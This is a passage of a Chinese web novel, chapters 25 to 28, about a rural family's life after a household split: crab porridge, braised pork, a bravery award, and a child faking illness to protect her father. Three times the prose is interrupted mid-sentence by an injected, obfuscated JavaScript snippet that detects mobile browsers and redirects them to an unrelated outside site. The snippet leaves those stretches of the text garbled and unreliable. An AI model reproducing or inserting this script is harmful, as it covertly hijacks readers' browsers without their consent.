林丹红一直为自己生了两个闺女自卑,对不起唐老二,没想到陈老太竟然还说她生了两个好闺女,后福在后头。 心情反倒是有些不是滋味起来。 晓梅眼睛红红的,没想到这个时候了奶还在为她们着想。 对于二儿子,陈老太没什么想说的,她知道分家的背后少不了老二的推波助澜,只是坏名头都让老二媳妇背了而已。 侯松梅看着哭了的唐老三,别开了头,瞧他那出息,除了老三自个,他对他的老娘和家人充满感情,估计其他人都想着怎么分家呢。 “娘,您往后跟我们过吧。”唐老三开口,侯松梅也在一旁点头,“是啊,娘,我们一定会好好孝敬您的。” 大嫂平日里摆着一副城里人的架子,盛气凌人瞧不起她们这几个在老家的媳妇,二嫂是个爱计较的,嘴上刻薄得很,二哥虽然平日里少言寡语,但也是个精于盘算的。 老四虽然人踏实肯干,但眼下又伤了腿,这干不了活只能纯吃干饭。 侯松梅不愿意跟他们继续搅和过日子,但对于通情达理的陈老太,侯松梅还是打心眼里尊敬自己的这个婆婆。 更何况有句话怎么说的,家有一老,如有一宝。 “这事再说吧。”陈老太并没有直接给回复。 把四房的那一份分家协议交到老四手上时,陈老太语重心长,“娘对你所有的祝福,都在这一纸协议里头了,往后好好过日子。” 哪怕唐实一个大男人都忍不住红了眼眶,“谢谢娘。” 这个家就这样分了。 弟兄分家,或者父子分家,这在农村都是一件很常见的事情。 吃过分家饭后,入夜了,陈老太屋里点了蜡烛,唐实在姚秋月的搀扶下敲响了陈老太的房门。 “娘,我跟秋月是来请您往后跟我们一块过日子的。” “老四,娘知道你是个心里有想法的,之所以同意分家,其中一个原因就是不想让一家子人继续拖着你,好不容易让你们夫妻俩带着宝儿清清净净过日子,我一个半截入土的老太婆就不想给你们增加负担了,我已经考虑清楚了,往后我就跟着老三一家过日子。” 陈老太心里想得清楚,老大一家在城里,别说老大媳妇不同意她进城,估计她自己也没办法适应城里的生活。 跟着老二估计喝不上一碗稠的,鸡飞狗跳,落不着半点清净。 想来想去还是老三一家最合适,老三两口子都是厚道的,成鸣成和兄弟俩也懂事孝顺,她跟着老三一家,也能享几天清福。 25. 第25章 虽然分家了,但猪还是几房轮流在喂的,爹的腿伤还没好,娘倒是痊愈了,但整日里除了上工,还要忙着洗衣做饭,所以四房喂猪的任务就落到了唐宝儿身上。 她每天放学了,就提着箩筐往山里跑,每次属她打的猪草最多最新鲜,姚秋月还会额外往猪食里添一点粮食,反正这猪养好了到时候也能大家一块多分点肉,那猪一拱一拱的,吃得可欢实了。 三房一家也不会在这方面占便宜,每次喂猪还是按照没分家前的喂,该是多少就是多少。 至于二房一家,林丹红向来小气刻薄,每次轮到日子了,就使唤晓梅两姐妹上山里把猪草打回来,和刷锅水搅和搅和,稀稀拉拉的一桶就喂给猪了。 这天唐宝儿刚打完了猪草,沿着那小溪往家里走,溪水已经化冻了,潺潺的小溪流里还能看见游动的小鱼儿,想到家里已经有段时间没吃肉了,她一个小孩没什么,但她爹爹还是个伤患呢,需要吃一点有营养的东西,要是能捞点小鱼小虾回去也算是开荤了。 想到这,唐宝儿飞快的跑回了家里,解下那一箩筐猪草,就拎着竹篮往小溪边跑。 她找了个地势低的地方,这里已经汇聚成了一个小水潭,将那竹篮放在水流口处,又弄来了一些鱼草做引诱,做完这一些就蹲在一旁等着。 抬头就看见成鸣跨着大步朝自己走来。 成鸣已经从绿水村小学毕业,升到公社上初中了,听说学习成绩也是名列前茅,穿着一件烟青色的棉袄,皮肤白皙,看起来就是很清秀的少年模样。 “宝儿,你在这里做什么?” “成鸣哥哥,我在捕鱼。” 成鸣看了眼小溪里时不时游过去的几条一两寸长的小鱼,四叔的腿伤着,分家后他们的日子应该也不会过得太好,他垂下的眸子里闪过一丝心疼。 “我给你带了好吃的。”成鸣将口袋里的荷叶包掏出来,是一个热乎乎的褐色的茶叶蛋。 唐宝儿咽了下口水,虽然很馋但她还是摇了摇头,“成鸣哥哥你自己吃吧。” 其实分家时,唐宝儿他们家也分了两只鸡,一只公鸡一直下蛋的母鸡,姚秋月每天会煮一个水煮蛋,唐宝儿知道爹爹伤着腿需要补充营养,而且娘每天上工也很累,所以坚决不吃水煮蛋,把水煮蛋都让给爹娘吃。 “我们已经不是一家人了,我不能再吃你的东西了。” 成鸣听见这话,忍不住皱了皱眉头,“你还当我是你哥哥吗?” 唐宝儿点点头,不管他们有没有分家,他都是对自己最好的哥哥。 “那不就是了,不管咱们有没有分家,你都是我妹妹,哥哥对妹妹好是天经地义的事情。”成鸣说着就把那茶叶蛋剥了壳塞进她手里,“听话,快趁热吃了。” 酱汁和鸡蛋的香味混合着往她鼻子里窜,唐宝儿忍不住咬了一小口鸡蛋,这茶叶蛋可真好吃,茶叶的香味很浓郁,那鸡蛋都入味了,而且蛋白很软糯蛋黄沙沙的一点也不噎人。 成鸣看她吃了,脸上也不由得露出高兴的笑容。 吃完茶叶蛋,唐宝儿又用水把手洗干净了,成鸣又给她指了指嘴角的位置,唐宝儿才发现嘴角残留了些许酱汁,不好意思的笑了笑,手沾了水把脸给擦干净了。 她把水里的竹篮捞起来,没有抓到鱼,抓到了三只河蟹,有她的巴掌那么大,看起来还挺饱满的,但唐宝儿还是有些失望,这河蟹吃起来不比鱼,就只有一点点肉能吃。 “咱们回家吧,天快黑了。” 唐宝儿点点头,从小水潭的边上跳到田埂上,跟成鸣并行着回家了。 日暮西斜,家家户户的炊烟往外飘,那嫩绿的草苗正往外冒尖,一幅充满烟火气的农村景象。 姚秋月还没下工,唐宝儿回到家,先把猪草给剁了,猪食桶里已经有半桶子泔水,又抓了两把麦麸,和猪草掺杂到一起,提着猪食桶去喂猪。 猪食倒进猪食槽里,那黑猪就上前拱着吃食,晾在院子里的衣服也干了,她给收回到屋里去。 新的厨房还没有盖起来,他们现在还是共用着一个厨房,只是错开了做饭的时间,林丹红已经做好了晚饭,大葱炒饭和烙面饼,她端着晚饭从厨房出来时,正好看见唐宝儿在院子里摇水把咸菜上的盐粒给洗掉。 她鼻孔朝上,不屑地哼了一声,翻了个白眼。 看四房这日子过得苦巴巴的,她现在越来越觉得分家是正确的决定。 姚秋月扛着锄头下工时,唐宝儿刚把猪喂好,她看到闺女给抓回来的河蟹,“这螃蟹还鲜活着呢,吃起来肯定很鲜美,我晚上给你们煮蟹粥喝好吗?” “蟹粥?好啊。”唐宝儿高兴的点点头,她还没有喝过蟹粥呢。 姚秋月做饭时,唐宝儿就在一旁帮忙,她看着娘把螃蟹一分为四,把三只螃蟹剁成十二块,“到外边帮娘揪两棵小葱回来。” “噢噢。”唐宝儿跑到院子里,在院墙根下揪了两棵青绿的小葱,把葱须掐去了,上边的泥给洗干净,才拿着跑回厨房递给姚秋月。 姚秋月已经把锅烧热了,划拉一小块猪油丢进锅里润润锅,再加了螃蟹和小葱进去炒香,搁了一小片姜,倒了点米酒,螃蟹的鲜香味马上就被激出来了。 炒到差不多火候了,姚秋月才往锅里倒水,并且加入淘洗干净的大米,再在锅上架了笼屉,把今早吃剩的窝窝头给热一热。 “四弟妹,你这在做什么呢?”侯松梅一家已经吃完了晚饭,她是被香味吸引过来的。 “三嫂,我在熬蟹粥呢,宝儿这丫头在河里逮了几只螃蟹。”姚秋月将锅盖揭开给她看了眼,那粥米绵润,鲜香扑鼻,看着就知道这粥肯定好喝。 “还是你有一双巧手,旁人哪会想到做什么蟹粥啊。”侯松梅笑着道,她想起来姚秋月做的南瓜粉蒸肉,那叫一个香味浓郁,糯而清香,酥而爽口,唐家的几个媳妇里,属姚秋月的厨艺最好,分家了吃不到她做的饭菜还有点可惜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14069021|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚秋月笑道,“我不过是跟着我娘学的罢了,等粥熬好了我给三嫂送一碗过去。” “算了,我们已经吃罢饭了,还是四弟妹你们一家子吃吧。”侯松梅明事理的说道,这蟹粥可是用大米熬的,这年头谁家粮食也不宽裕,熬粥都是数着米按着人头下锅的,谁好意思吃别人家的粥。 二房这边,林丹红看着扒拉来扒拉去的成孝,气闷的用筷子打了一下他的手,“坐着好好吃饭!” “我不想吃了,太难吃了!”成孝将碗给推到桌子中间。 “你这孩子,我这么辛苦做饭你还挑上了?!我看你是太皮实了欠打!”林丹红虽然嘴上这么说,但心里还是不舍得真打自己的宝贝儿子,“快把饭吃了,娘下回去公社给你买糖。” 分家之后陈老太还给他们每一房分了十块钱,都是靠着卖神仙豆腐和卖淡水珍珠,还有去年一整年的工分攒下来的,这种能自己管着粮和管着钱的感觉真是舒坦。 晓梅看着被她娘炒得黑乎乎的炒饭,毫无食欲,无奈的叹了口气,她也想喝蟹粥。 粥很快就熬好了,姚秋月把粥盛到碗里,高粱面做的窝窝头装进盘子里,并且把咸菜给炒了炒,切成丝端了出来,一家三口就开始吃晚饭了。 螃蟹本来只有一点点肉,但熬成蟹粥,整锅粥都有了螃蟹的鲜美,又香又鲜,喝进去整个肚子都暖暖的。 唐宝儿捧着碗,情不自禁的感叹道,“真好喝,娘你熬的蟹粥太好喝了。” 本来吃起来有些刺嗓子的窝窝头,夹着咸菜蘸着粥吃也有了不同的味道。 “还要多亏了咱们宝儿逮的螃蟹。”姚秋月笑着将一条剥了壳的蟹腿喂到她嘴边。 那蟹肉真是鲜美,比鱼肉都还要鲜。 “我的腿好得差不多了,等过段时间开春暖和了,我就开始造土坯,把咱们家的厨房给盖起来。”唐实这段时间虽然伤着,但是精神头却很好,一点都没有颓靡不振的模样。 唯一遗憾的就是暂时帮不了妻子干活,这里里外外的活计都只能落在她和闺女的头上。 “那我还得趁这段时间带着宝儿到公社去一趟,买一口铁锅、炒菜的铁勺、再买两个盛菜的盘子,炒菜用的酱油醋,再给宝儿买点好吃的鸡蛋糕。”姚秋月手上本来就有将近五十块钱,加上分家陈老太给她们每一房又分了十块,现在她手里可有一笔六十块钱的巨款。 唐实不管钱,他们家的钱都在姚秋月手里管着。 “鸡蛋糕?!”唐宝儿想起来那入口即化的鸡蛋糕,酥软香甜,带着鸡蛋和面粉的香甜气息,眼睛都忍不住亮了起来。 “小馋猫。”姚秋月点了下孩子的脸蛋。 一家三口开始规划着以后的生活。 吃完晚饭,把碗刷干净已经是八点过后了,唐宝儿用热水泡了泡脚,躺到床上,盖着柔软的棉被,想到下次去公社就能吃到香甜的鸡蛋糕了。 原来就算分了家,天也不会塌下来。 26. 第26章 唐宝儿放学回家时,便看到姚秋月已经在厨房做晚饭了,她忙把书包解下,要去帮着姚秋月做饭。 在看到姚秋月手里切的东西时,唐宝儿眼睛一亮,“娘,肉?这是你买的肉吗?” 说着,她忍不住咽了下口水,家里已经很久没有吃过肉了。 姚秋月把已经焯过水的肉切成大块,“我在村口的猪肉摊里割了一斤半的肉,今天来做个红烧肉给你们尝尝。” “红烧肉!”唐宝儿闻言眼前一亮,上次吃红烧肉估计是两年前的事情了吧? 唐宝儿坐到灶膛前开始烧火,这柴火也是他们几个孩子轮流在山里捡了抱回来的。 油烧热之后,姚秋月在锅里放了几粒冰糖,炒出褐黄的糖色,再把肉放进去煸炒,直到每一块五花肉都煎到炒到耗干水份颜色透亮、表面微黄,油脂都煸出来了,她才往里倒进热水,又放了点八角、桂皮、香叶的香料,把肉转到砂锅里炖。 那大锅也不闲着,姚秋月揭开木盖子一看,提前发的面已经发酵到满满一大盆了,她用手指在面团中间撮个洞,面团发得刚刚好,已经不会回弹了,拉开里边一看,都是像蜂窝一样的组织。 她取出面团在砧板上,撒手粉后使劲揉,揉到面团光滑之后就把面团分成了十份,再松弛上一会。 姚秋月拿出一个松弛好的面团压扁擀成椭圆形,刷上油之后对折,把刷过油的面对折在里面,再用一把干净的梳子压出花纹,用梳子柄整出荷叶边后,再在中间捏出荷叶角。 这样一个馍就做好了。 察觉到唐宝儿聚精会神的目光,姚秋月朝孩子笑了笑,解释道,“这叫荷叶馍,待会用来包肉吃。” 唐宝儿第一次看姚秋月做这个荷叶馍,但光想着就肯定能好吃。 红烧肉已经炖了一个小时,厨房里都是浓郁的肉香,光闻着就馋得直流口水,姚秋月用筷子插了一下那红烧肉,肉已经软烂回弹了,炖得正合适,她又炒了个酸辣土豆丝,才叫唐宝儿端着蒸好的荷叶馍,她则端着红烧肉和土豆丝进屋里了。 她们端着饭菜进屋时,成孝正在院子里吃糖,看见那色泽红亮的红烧肉,感觉嘴里的糖也不甜了。 已经开春了,早早的就脱下了笨重的棉袄,换上了轻便的春衫,唐宝儿看着眼前的红烧肉,馋得口水都要流下来了。 “快吃吧!”姚秋月给宝儿夹了一块红烧肉。 唐宝儿咬了一口红烧肉,浓郁的肉香和软烂的口感弥漫整个口腔,煸炒的时候把多余的油脂都逼出来了,一点都不腻,瘦肉酥韧、肉皮滑糯,瘦肉间的肥肉如同软豆腐一般入口即化,满口盈香,一口下去恨不得把舌头都一块吞下了。 姚秋月将荷叶馍打开,在里边夹上一块红烧肉,再包上些许土豆丝,包了两个分别递给丈夫和闺女,“尝尝用馍馍把肉包起来的吃法。” “好吃!”唐实和唐宝儿皆是赞不绝口。 分家前哪里能这样痛快的吃过肉?每次切上半斤的肉,家里十几口人,只能切成薄薄的一片,然后再加进去一大堆的白菜和土豆,让白菜和土豆也能沾点肉味,别说能在大锅菜里找着一片肉了,就算是找到了,肉味也是淡淡的。 那荷叶馍也好吃,吃起来又甜又松软,闻着一股香甜的面香,夹上肉和土豆丝简直太好吃了。 分家可真好,不仅能吃上肉了,还能吃个过瘾。 一家三口大快朵颐,很快这一斤半的肉就被他们尽数消灭了,那土豆丝也吃了个光,荷叶馍唐实吃了四个,姚秋月吃了俩,唐宝儿也吃了俩,剩下两个姚秋月留着明天早上给唐宝儿当早饭了。 侯松梅出来倒洗脚水时,就听见厨房像是有什么动静,她心里咯噔一下,该不会是进耗子了吧? 她忙将洗脚水倒了,泡脚盆搁到一旁,探到窗户旁边看是有什么动静。 只见厨房里,林丹红弓着身体偷偷揭开了姚秋月炖肉那个砂锅的盖子,看到里边已经一块肉都不剩了,忍不住面露失望之色,心里暗自骂道,老四这一家饿死鬼投胎的,整整一斤半的肉都给造完了! 但看到砂锅里还有残留的肉汁,她掏出怀里揣着的馒头去蘸红烧肉的肉汁。 浓郁的肉香在味蕾蔓延,连这馒头吃起来都格外香,林丹红大喜过望,就听见外边传来侯松梅的说话声。 “咳咳,老三,我怎么听见这厨房有窸窸窣窣的动静啊?该不会是进耗子了吧?” “那门窗都是关好的,怎么会进耗子了呢?你等着我去拿铁锹!”唐老三不明白是怎么回事,但他听到妻子这么说,就要去拿铁锹逮耗子。 厨房里偷摸着吃馒头的林丹红听到这话,忙憋住气,生怕自己偷刮锅底的事情被人发现了。 心里忍不住骂这老三媳妇真是多管闲事。 “又听不见了?可能是我听错了吧。”侯松梅看着真去拿铁锹的唐老三,拉着他往屋里走了。 “听错了?” 唐老三一头雾水,但还是跑去放农具的堂屋把铁锹给放下了。 林丹红在河边洗衣服时,就看见陈方平带着一群人敲锣打鼓的往自己家里走,她忙拦着了陈方平,“方平,你们这是做啥呢?” “噢,是唐家二嫂啊,我实哥被评上见义勇为英雄了,我这给他们家送奖状和奖品呢!”陈方平虽然摆着张笑脸,可笑意却没达眼底,他可是知道他唐实哥刚受伤,这唐家二房就联合大房逼着陈老太分家的事情,虽然趋利避害说是人的本能,但也太无情无义了! “这奖品都有啥?”林丹红看着他们提着的东西,贪婪的问道。 陈方平还是一一细数了这次发的东西,“有一张奖状,一本红皮笔记本,一支钢笔,两斤猪肉,二斗小米。” “两斤猪肉、二斗小米?”林丹红听到这个,眼睛里不由得闪过一抹光。 这买肉要肉票,而且一斤就要七毛九,自从分家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086031|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后各自过日子了才知道柴米油盐贵,林丹红才舍不得买肉。 小米又叫粟米,质地比一般的高粱黑豆等粗粮要细腻,小米煮饭好经得住吃,一斤米就能顶二斤面,而且小米熬粥也养胃,这对普通人家来说可是顶顶好的粮食。 林丹红盯着他手里提着的小米,那猪肉用一根竹篾提着,看着像是猪前腿的部位,猪前腿的肉特别嫩一点都不柴,“这东西我们有份不?” “唐二嫂你再说什么胡话呢?”陈方平闻言笑了,“村里头谁不知道你们已经分家了,这奖品当然是给四房一家了的。” “好歹唐实是在没分家前救的你,而且他伤着的那段时间干不了活,我们也出了不少力的……”林丹红讪笑道。 陈方平该说的都说了,“我还赶着给他们送东西,就不跟二嫂唠嗑了。” 唐实被捕兽夹夹伤的腿已经好得差不多了,他现在不用拐杖也能自如行走,唐宝儿就在院子里边写作业,一张高凳子和一张矮凳子组合,就成了一张简易的书桌,铺着青石板的院子被一阵凉风吹过,干燥又舒爽,大片大片的白云逶迤似雪。 “方平叔叔!”唐宝儿嘴甜,看见人就叫了。 “哟,宝儿写作业呢?小学生还挺像模像样的!”陈方平从裤兜里掏出两颗巧克力塞给唐宝儿,又摸摸孩子的头,“拿着吃吧。” “谢谢方平叔叔。” 唐宝儿剥开糖纸,将一颗糖放进嘴里,这种糖跟她以前吃过的糖味道都不一样,刚开始有点苦,后面却越来越甜,又香又浓,入口即化。 好好吃!她忍不住睁大了眼睛。 唐实接过奖状,看见上边烫金的见义勇为几个字,没想到有生之年他还能领上奖了。 还有那钢笔和红皮笔记本,一看就是高品质的东西,钢笔的笔身流畅,握在手里很有重量,那笔记本的纸张洁白细腻,正好解了他眼下的燃眉之急,他媳妇姚秋月的钢笔用的年头久了,断断续续的,这钢笔和笔记本给她用正合适。 还有小米和猪肉,这对于他们这个新家来说已经是一笔相当不错的进项。 唐实不知道该说什么,只好用力的拍了拍陈方平的胳膊,“方平,谢谢你!” 陈方平脸上也带着笑,“说什么呢实哥,是我该感谢你!咱兄弟不说那个谢字!” 那日雪崩之后,陈方平一直很内疚,如果不是为了救他唐实也不会受伤,就试着把实救人的事迹给打了个报告,本来以为石沉大海了,没想到今天公社突然来了信说要大力嘉奖唐实这种见义勇为的行为,并让唐实到公社领奖。 唐实腿还没好全呢,陈方平就代着他把这个奖状和奖品给领回来了。 陈方平的动静不算小,眼下村里人都知道唐实被评为了见义勇为英雄,往日里唐实就是个有能力的人,现在在众人眼中更不一般了! 见义勇为英雄!听说还能刊报表扬的嘞,谁家有过这么荣誉的事情啊? 27. 第27章 唐实的腿彻底好利索了,他每日趁着早晚打土坯,又去河里挑了几担子的鹅卵石,鹅卵石都堆成了一座座的小山,当绿水村对面山沟沟里的桃花已经开得如火如霞时,唐宝儿他们一家的新厨房就盖好了。 这下就不用跟着三伯母用一个厨房了,因为要轮流排队做饭,所以经常饭点过了都吃不上饭。 只是这第一顿饭还有不少讲究,开新灶是一件极具意义的事情。 天刚亮,姚秋月喂完鸡之后,就在地面洒上水把厨房给打扫干净了,并在灶台上摆上一对红色的蜡烛,还有大米和面粉等,这是祈愿日后生活富足。 并且在灶前插上一炷香,供奉上水果和点心,求灶神保佑家庭平安。 他们今天早上就吃汤圆,姚秋月昨天趁着夜里把花生芝麻给碾碎了,给掺上一点白糖,今天早上又揉了一团糯米面团,今天是星期六唐宝儿不用上学,一家三口齐努力,包了整整二十颗汤圆。 白胖胖圆滚滚的汤圆在锅里煮熟了,个个晶莹剔透,黑芝麻香浓馥郁,花生碎颗粒分明,烫呼呼的,吃起来又很甜,软糯弹牙,唐实一个不喜欢吃甜食的人都吃了八个,小孩糯米吃多了不容易消化,姚秋月就只给宝儿盛了五个,她自己吃了七个。 唐实还要出工,就让姚秋月骑车带唐宝儿到公社上去,吃过美味的汤圆,陈方平就推着自行车过来了。 唐宝儿嘴甜,叫了句,“方平叔。” 她还记着方平叔送来的猪肉和小米呢,又吃了一顿美滋滋的红烧肉和肉包子,那小米熬粥也特别好喝,加上老南瓜一块熬,可香甜了。 “欸,宝儿。”陈方平抱起孩子掂了下,才对着姚秋月道,“嫂子,你放心的逛,等用不着了再还我就行。” “麻烦你了方平。” “嫂子客气。” 姚秋月会骑自行车,她推着黑色的凤凰牌自行车,出了院子,下了一个小坡,来到了公路上。日头已经从绿桂山那边升起来,照着村庄和大地。 她抱着唐宝儿上了车,“坐稳当了?” “稳当啦。” 虽说现在是农忙,但公社的集上热闹得很,有不少挎着包和牵着孩子出行的妇女,风气已经逐渐放开了,姚秋月还记着答应宝儿的事情,刚到公社就直奔供销社去,买了一斤的鸡蛋糕。 唐宝儿看着那售货员把一块块金黄的鸡蛋糕从铁盘装进袋子里,眼睛一眨不眨的。 刚拿到手,面粉和鸡蛋的香味就直冲鼻尖。 鸡蛋糕是用新鲜的鸡蛋、白糖、香油精和面粉做的,放在炉子里烤熟了,金黄油亮,酥软可口。 姚秋月又买了两个盛菜的盘子,上边印着红色的花,看起来很好看,买了炒菜用的酱油和醋,还买了一口铁锅,炒菜用的铁勺,不过这锅她们娘俩带不回去,姚秋月就跟老板说好了,等她男人下工了再来拿。 买完东西,姚秋月就带着唐宝儿到了国营食堂坐下。 唐宝儿原以为能买鸡蛋糕就已经很高兴了,没想到娘还要带她来国营食堂吃饭,看到孩子脸上惊喜的神情,姚秋月忍不住笑了下,问她,“要不要喝豆浆?” 唐宝儿激动的点点头。 国营食堂的营业时间早上是6点一8点,中午10点一13点,下午是16点一20点,今天国营食堂吃饭的人不算多,空着一大片位置很清静。 国营食堂的厨师都吃得胖滚滚的,戴着白色的厨师帽,围裙也是最大号的,唐宝儿第一次来国营食堂吃饭时看见的便是这个厨子,抡着几斤的大铁勺,那铁勺不断的在铁锅上翻炒,诱人的饭菜香味就从里边冒了出来。 姚秋月带着唐宝儿找了个角落的位置,让唐宝儿先坐下占着位置后,便去排队买票了。 这段时间唐实腿伤好了之后,也在走各种门道想办法找事情做,将山里打到的猎物给卖到黑市上,把挣来的钱都交给姚秋月,姚秋月手里除过刚分家时剩下的六十块钱,买了各种东西,竟然还剩下六十五块。 唐实有个兄弟在山里偷偷搞了个养猪场,他最近还在想着能不能从他那里弄一点生肉到黑市上卖,这可是稳赚不赔的买卖。 照例还是买馄饨,国营食堂的馄饨特别好吃,那皮薄薄的,里边的肉馅鲜美,紧实弹牙。 姚秋月除了买了两碗馄饨,还买了两碗豆浆,豆浆还是热乎乎的,还有三个油饼,她们吃不了这么多,主要是要给在队里干活的唐实打包一点吃食回去。 唐宝儿先喝了一口豆浆,刚喝第一口,便忍不住喝了一大口。 这太好喝了。 豆浆是淡黄色的,喝起来甜甜的,带有黄豆的清香,味道醇厚香甜,唐宝儿捧着碗,忍不住喟叹出声,“好好喝。” 满满当当的鲜肉馄饨上洒着几粒葱花,还有两片烫得脆生生的青菜,大馄饨的馅料有瘦肉、葱姜,吃起来口感清爽鲜香,肉馅紧实弹牙,一口一个太香了。 吃完了馄饨,晌午也到了,姚秋月就骑着车带着唐宝儿回了绿水村。 唐实刚用铁锹翻完一陇田,就看见唐宝儿拎着东西来找自己,他掀起衣服擦了把汗,“宝儿,来找爹么?” “爹,我给你送午饭来了!” 唐实便在那个河沟里把满是泥土和汗水的手给洗干净了,还顺带着洗了把脸,感觉整个人都清爽了不少,才在树下找个阴凉的地方坐下了。 “今天去公社吃了什么好吃的?”唐实刮了下唐宝儿的鼻子,接过她手里的油饼。 “吃了馄饨!还有豆浆!”唐宝儿手舞足蹈的说道。 想到馄饨和豆浆的滋味,感觉这一个月走路都是美滋滋的。 唐实看见她高兴的小模样,脸上也不由得露出欢腾的笑容来,感觉自己的努力也有了实质化的意义,他大口咬着那油饼,这是发面的饼子,撒上葱花用猪油烙的,酥软咸香,扎实还顶饱。 唐实本来要给她掰一块油饼吃,但唐宝儿说自己吃饱了吃不下了,他才作罢。 他原本以为水壶里是凉水,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094082|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝到嘴里才发现不是,甜滋滋的豆香味,“豆浆?” 唐宝儿拍手道,“对呀!好不好喝?” 唐实平静的脸上有不易见的波动,“好喝。” 唐宝儿看到她爹这干了大半天的活,感觉人都晒黑了两个度,额头上都是汗,心里有些心疼,“爹爹,我给你唱首歌听好嘛?” “好啊。” 唐宝儿想了下,唱什么好呢,她清了清嗓子,“红岩上红梅开,千里冰霜脚下踩,三九严寒何所惧,一片丹心向阳开向阳开,红梅花儿开,朵朵放光彩,昂首怒放花万朵,香飘云天外,唤醒百花齐开放,高歌欢庆新春来,新春来,新春来……” 这是唐宝儿他们的音乐老师新教的歌曲,唐宝儿学了两三遍就会唱了,她很喜欢这首歌,感觉有种向上蓬勃的坚定感。 孩子稚嫩的歌声飘荡在田野里,像是山涧里最清澈的泉水,清澈温柔,让农人早已疲惫不堪的心灵都受到了抚慰。 父女俩就在那石板上坐着,身前的碧绿的田野,溪水潺潺流着,偶尔有一只蝴蝶蜜蜂在野花丛中飞来飞去,那天是瓦蓝瓦蓝的。 唐实把最后一口豆浆和油饼吃完了,就看见一伙人朝着山里去,他脸色一遍,忙把水壶塞给唐宝儿。 “宝儿,爹有点急事!我现在交给你一个任务,你去把那些人拖住,能拦多久就是多久!” 丢下这句话后,他马上从石板上起来,抄着小路就往山里跑。 留下唐宝儿在原地一脸懵。 陈方平他们这一趟进山就是收到有人举报,说有不法分子在山里搞投机倒把,这可不是小事,他们公社主任亲自带着武装部的人到山里抓人,务必严惩不贷。 他们正在找进山的路口,就看见有个小女孩倒在地上,捂着肚子哎哟哎哟的叫着,面露痛苦。 陈方平皱了皱眉头,“主任,我过去看下。” 陈方平走近了才发现倒在地上的不是旁人,正是唐宝儿。 “宝儿,你怎么会在这里?你咋了?” 唐宝儿捂着肚子叫唤,“方平叔,我肚子疼,感觉憋着气,我本来想进山捡柴火……” 陈方平忙把孩子扶起来,公社主任也走了过来问起情况,“小陈,这孩子你认识?” “主任,这是我侄女,她进山来捡柴,估计是吃坏肚子了。” “呜呜,叔叔,我会死吗?” 陈方平安慰的摸了摸孩子的脑袋,“胡说八道,人好端端的怎么会死。” 说着,他叫来了一个武装部的人,“这是唐家老四的闺女,你帮忙把她送回家去。” 但唐宝儿却死死的抱着陈方平不撒手,泪眼婆娑,“叔,我一定是要死了,我不想回家不让我爹娘看见我要死了……” 陈方平叹了口气,公社那边的人还等着他进山带路。 公社主任见状,“小陈,那你就亲自跑一趟,先送娃儿回去吧。” 也只能这样了,陈方平点头道,“好吧。” 28. 第28章 唐实抄的这条小路,说是小路,但也只能说是这个地方还存在过一条小路的痕迹了,荆棘长得半人高,那锋利的班茅草简直能把人盖住,稍不注意就能被它锋利的叶片割出一道伤口,路又陡又滑,他刚上山,就险些踩了一脚砂石滑到。 脸上传来一道火辣辣的疼痛,唐实伸手抹了把,才发现脸上不知道什么时候已经被割出了一道口子,火辣辣的疼。 一个没注意,手臂也被荆棘划拉出一道伤口。 这清晰的痛觉让唐实忍不住倒吸了一口凉气,但想要还有更重要的事情,便不管不顾,只管闷头朝山里跑。 陈方平抱唐宝儿回来时,姚秋月听到动静从屋里出来。 “宝儿这是咋了?” 陈方平把孩子交到姚秋月手里,“嫂子,宝儿这孩子说她肚子疼,你给她看看是怎么回事吧。” 姚秋月想起来什么,“今天早上开新灶,我就给这丫头吃了几个汤圆,估计是糯米不消化,麻烦你跑这一趟了。” “不是大问题就好!我还有其他事要忙,嫂子我就先走了!”说完,陈方平就急急忙忙的走了。 姚秋月刚拿出红花油想给唐宝儿往肚子上抹一抹,就看见她已经坐了起来,哪里还有刚才痛苦的表情。 她掐了把孩子的脸,但心里也不由得松了口气,“怎么好端端的装病吓你方平叔?” 唐宝儿吐了吐舌头,“我也是实在没办法了,爹叫我把他们拖住不让他们上山,我只能想到装病了。” “你爹叫你把他们拖住?他们都有谁?” “看起来像是公社那边的人,都是干部,还有穿军装的人。” 姚秋月听到这话,脸上也不由得带了抹忧虑。 但愿唐实没事才好。 陈方平他们在山里找到窝点时,早已经人去楼空,只留下一个简陋的窝棚还有遍地的猪粪了。 姚秋月母女俩等到天黑了,才看到唐实回来了。 一个大男人的衣服都被荆棘划得东一条西一条的,手臂上都是细小的伤口,脸上的划伤已经肿起来了,膝盖也是青肿着的。 姚秋月看到唐实这个惨状,心疼的打来了清水给他清洗伤口后,再抹上褐色的药油,唐实疼得龇牙咧嘴的,“媳妇,你轻点,轻点……” 